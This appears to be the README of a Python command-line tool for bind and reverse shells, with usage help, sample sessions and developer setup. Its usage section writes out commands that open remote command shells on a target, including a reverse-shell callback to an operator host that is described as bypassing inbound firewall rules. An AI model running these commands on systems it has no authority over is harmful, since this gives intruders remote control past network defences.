bind-shell 0.1.5

A CLI for creating and connecting to bind shells and reverse shells. Zero external dependencies — built entirely on Python stdlib.

bind-shell

A CLI for creating and connecting to bind shells and reverse shells. Zero external dependencies — built entirely on Python stdlib.

Install

Use pipx to install globally in an isolated python environment.

pipx install bind-shell

Usage

usage: bind-shell [-h] {server,client,listen,connect} ...

positional arguments:
  {server,client,listen,connect}
    server              Bind shell: bind a port and execute commands from an incoming client
    client              Bind shell: connect to a server and send commands interactively
    listen              Reverse shell: bind a port and send commands to an incoming connector
    connect             Reverse shell: connect out to a listener and execute its commands

Bind shell

In a bind shell the target runs server — it binds a port and waits. The operator runs client to connect in and issue commands.

On the target:

usage: bind-shell server [-h] [--host HOST] [--port PORT] [--shell SHELL]

options:
  -h, --help     show this help message and exit
  --host HOST    Host address to bind to
  --port PORT    Port to listen on
  --shell SHELL  Shell executable to use (e.g. /bin/bash, pwsh)

admin@server:~$ bind-shell server --shell bash
Bind-Shell WAN: bind-shell client 12.34.77.19 --port 4444 --password lvwsJLXjz0fhPtMVUQU6Ug
Bind-Shell LAN: bind-shell client 192.168.86.25 --port 4444 --password lvwsJLXjz0fhPtMVUQU6Ug
Bind-Shell Local: bind-shell client localhost --port 4444 --password lvwsJLXjz0fhPtMVUQU6Ug

On the operator:

usage: bind-shell client [-h] [--port PORT] --password PASSWORD host

positional arguments:
  host                 Host address of the bind shell server

options:
  -h, --help           show this help message and exit
  --port PORT          Port to connect to
  --password PASSWORD  Password for authentication

user@client:~$ bind-shell client 12.34.77.19 --port 4444 --password lvwsJLXjz0fhPtMVUQU6Ug
admin@server:~$ echo $0
bash

The server will log client connects and disconnects.

Reverse shell

In a reverse shell the operator runs listen — it binds a port and waits. The target runs connect to call back out, bypassing inbound firewall rules.

On the operator:

usage: bind-shell listen [-h] [--host HOST] [--port PORT]

options:
  -h, --help   show this help message and exit
  --host HOST  Host address to bind to
  --port PORT  Port to listen on

admin@server:~$ bind-shell listen
Reverse-Shell WAN: bind-shell connect 12.34.77.19 --port 4444 --password nYA9pFabJ1ojR2ZfyQHabA
Reverse-Shell LAN: bind-shell connect 192.168.86.26 --port 4444 --password nYA9pFabJ1ojR2ZfyQHabA
Reverse-Shell Local: bind-shell connect localhost --port 4444 --password nYA9pFabJ1ojR2ZfyQHabA

On the target:

usage: bind-shell connect [-h] [--port PORT] --password PASSWORD [--shell SHELL] host

positional arguments:
  host                 Host address of the reverse shell listener

options:
  -h, --help           show this help message and exit
  --port PORT          Port to connect to
  --password PASSWORD  Password for authentication
  --shell SHELL        Shell executable to use (e.g. /bin/bash, pwsh)

user@client:~$ bind-shell connect 12.34.77.19 --port 4444 --password nYA9pFabJ1ojR2ZfyQHabA --shell bash

On the server you should be connected to the client shell

Connected: 192.168.86.25:58912
user@client:~$ hostname
client

Type exit and/or Ctrl + C to close a session.

Dev Prerequisites

• python >=3.10
• pipx, an optional tool for prerequisite installs
• poetry (install globally with pipx install poetry)
• flake8 (install globally with pipx install flake8)
  • flake8-bugbear extension (install with pipx inject flake8 flake8-bugbear)
  • flake8-naming extension (install with pipx inject flake8 pep8-naming)
• black (install globally with pipx install black)
• pre-commit (install globally with pipx install pre-commit)
• just, a Justfile command runner

Updating python version

• Update python version in Dev Prerequisites above
• Update [tool.poetry.dependencies] section of pyproject.toml
• Update pyupgrade hook in .pre-commit-config.yaml
• Update python version in .gitlab-ci.yml

Justfile Targets

• install: installs poetry dependencies and pre-commit git hooks
• update_boilerplate: fetches and applies updates from the boilerplate remote
• test: runs pytest with test coverage report

Boilerplate

This project tracks the pyplate boilerplate via the boilerplate git remote. Run just update_boilerplate to pull latest changes. NOTE: keep the boilerplate remote history intact to successfully merge future updates.